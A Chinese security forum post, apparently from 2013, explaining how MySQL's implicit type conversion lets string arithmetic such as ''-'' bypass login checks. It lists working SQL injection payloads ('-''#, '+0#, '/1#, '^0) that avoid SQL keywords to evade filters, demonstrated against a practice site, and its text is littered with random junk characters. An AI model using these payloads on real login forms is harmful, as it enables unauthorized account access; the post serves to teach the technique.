找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2173|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
1 k) _9 Q2 a6 m8 |4 S! u有以下表结构: 0 Q( g, R) r. |! p

6 U; _' r1 ~* W% jmysql> desc admin;
+ [" p! R) {2 B8 Y3 c7 L$ _+----------+--------------+------+-----+---------+----------------+
! @9 s3 l6 i+ j0 B9 O| Field    | Type         | Null | Key | Default | Extra          |" F# H7 A1 o. l* G4 P4 _  }: T
+----------+--------------+------+-----+---------+----------------+
$ z; z# m. t( |. d| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
3 z& t, C0 i. M2 x' g' R| name     | char(32)     | NO   | UNI | NULL    |                |
2 t; ?* F% s' O| password | char(32)     | NO   | UNI | NULL    |                |
- R; D  o# [. G, g: i% e" n1 {+----------+--------------+------+-----+---------+----------------+- w1 E. A' P0 ?: @" B
3 rows in set (0.00 sec)5 [" b; n* c4 ^3 L
执行select * from admin;,成功返回所有记录内容。7 x  w5 d# q, N0 e- N/ w; u9 u

, d7 m8 k3 }9 Z! `( e+ i$ k! ~2 t6 B6 x) N
+----+--------+----------------------------------+
  R  M) N7 T9 P' K! x3 H| id | name   | password                         |6 V. {; g9 g! M; c* {% ?
+----+--------+----------------------------------+
9 h3 U$ K+ M- u: d* l& s|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |) X. l  V: V6 ?8 C2 Y! |1 z
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |( o% Q0 v; B* r7 P1 Y4 b
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
! g2 P! Y: \3 c. U& U. }+----+--------+----------------------------------+
+ _& X$ A& I5 z, Q* c0 ~8 l3 rows in set (0.00 sec)5 K5 ~) Z6 x$ D7 i! E' y0 v
执行select * from admin where name=”;,没有匹配到任何记录。
5 U% j8 u* ?9 e8 T1 X# S5 `- r$ W9 i( ]! S) l6 Q# a' i* \
mysql> select * from admin where name = '';
% D9 r% K* U' q$ oEmpty set (0.00 sec)0 H2 i& ]; S' @& @% v# L( h
那么我们来执行select * from admin where name = ”-”;. K& m/ W/ V7 W% {
5 O, W. r6 d) L3 p! e
0 {% A7 m6 q# V
+----+--------+----------------------------------+. {% Q, E& j) }- z+ J
| id | name   | password                         |7 g! q  `4 a" P& N! t6 ]/ ^
+----+--------+----------------------------------+
" T, J% y1 s! V% V|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |6 U2 I. C, e4 M) v; s  F  m, X
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |) A3 Z6 F8 i2 d& {+ |6 ^
|  4 | n00b   | ff80e8508d39047460921792273533a4 |. Q9 F9 [0 q( T9 F; D
+----+--------+----------------------------------+
) b2 l/ e/ {7 B! J& t3 rows in set, 3 warnings (0.00 sec)
+ r9 \$ U0 l9 s0 K+ Q( d可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
- W# `  }% ~& B# P' P! W  j
, t& R  m4 U9 F9 Z6 M7 d9 h9 _mysql> show warnings;" V$ _7 c% J, O. K3 ~6 ~
+---------+------+------------------------------------------
/ @4 N/ u! m( K- }/ b1 P| Level   | Code | Message" I% M1 y( H1 _2 H
+---------+------+------------------------------------------0 b! B2 y, C( s9 x, Z% N" F# X
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin4 D, g, m- v& T; `. o8 e) g: V
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s9 D; x6 c4 C1 S6 z  S* _
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b$ b1 ~% l  ~! f9 r1 {
+---------+------+------------------------------------------* |  s! B1 {9 j
3 rows in set (0.00 sec)
" w0 P% O, }% b' ~& @/ u提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
) ^4 L0 O: p  Q" {0 q
% y( I4 \0 i2 Y7 B& P2 Emysql> select ''-'';
" H, u3 U9 w9 g+-------+
# x9 O4 ~9 V: S| ''-'' |' ?" P( ]5 E1 Y" y
+-------+
9 @  X0 b+ b+ ?9 s|     0 |
2 ]" V1 H0 q/ W: F+-------+
0 V$ v3 s% l) L3 i! I$ L1 row in set (0.00 sec)
- z8 i$ Q9 J. ?, T& B# U# z返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
9 G1 e3 V# U  Y; `  p
" @& Z+ y. n, Z' ^& Kmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
8 ^* q$ a; W; N8 q! e4 R+-----------------------------------------------------+4 a( u$ J: d* Y3 i) d
| CAST((select name from admin limit 1,1) as DECIMAL) |8 j: |" k  d2 B6 F1 ?1 B% P) M. X
+-----------------------------------------------------+
* x5 N) Q* E6 t% |. c) n|                                                   0 |
2 g/ v" y$ d+ t6 r" v' e+-----------------------------------------------------+# t0 }% `- f% u3 d3 S
1 row in set, 1 warning (0.00 sec)  R6 q2 Q  e3 u: n
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 ' q, d: W0 E, o+ @& l9 v

+ c! [0 m+ w+ j" h4 U# e# d1 \SQL注入场景: http://www.sqlzoo.net/hack/
) M$ k% q! k2 L  e/ s; f3 ]; u; ^& I, q5 \2 v( o

: @  ~% P" Z' J6 P4 l$ m* B4 C! Z, P8 j

4 G) n. K, b8 g1 o4 @! h, u  V/ B如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 * M9 K% [- b0 X4 {

, p/ P1 ~- g1 l  \3 r那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ) }+ g/ _* d5 F/ K$ G8 k9 z4 H

! O+ t! N8 W' Q  a8 X: C- O! [9 P9 b4 J/ |/ f" h

( D. \. v. n2 \8 M  w3 d5 u
* q- U1 @7 [( |" V7 j( f2 h仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
: b4 M5 Y$ X3 T
0 R; W& |) ?! D   
+ t2 Z/ V: e2 I- s. `/ \8 `+ B9 \8 O# A5 E" R6 ~0 l+ w
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
9 V1 m/ `% _5 T9 q9 j4 ~: y! V
) a+ {& R$ v' G+ w' P
, x) Q* m6 d+ c; ^mysql> select ''/1;
" j1 S$ D6 ~. m2 A& ]. c+------+7 A0 U4 v3 h: g# S: Y9 \" K9 k
| ''/1 |- r  S/ X: |6 J
+------+
  Q5 E2 w( u! `; t2 I) s  X|    0 |6 L$ t5 O# o0 G9 k' q# z9 y
+------+% S6 W' w. o- S' W
1 row in set (0.00 sec)& f( O& W) O, L' N3 J! j0 P
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  3 d, B9 p* a" n4 m0 w- o! e
% }+ O" m( o! k5 o8 o! C
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。3 [- q/ b) O4 d, ?/ k" b
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表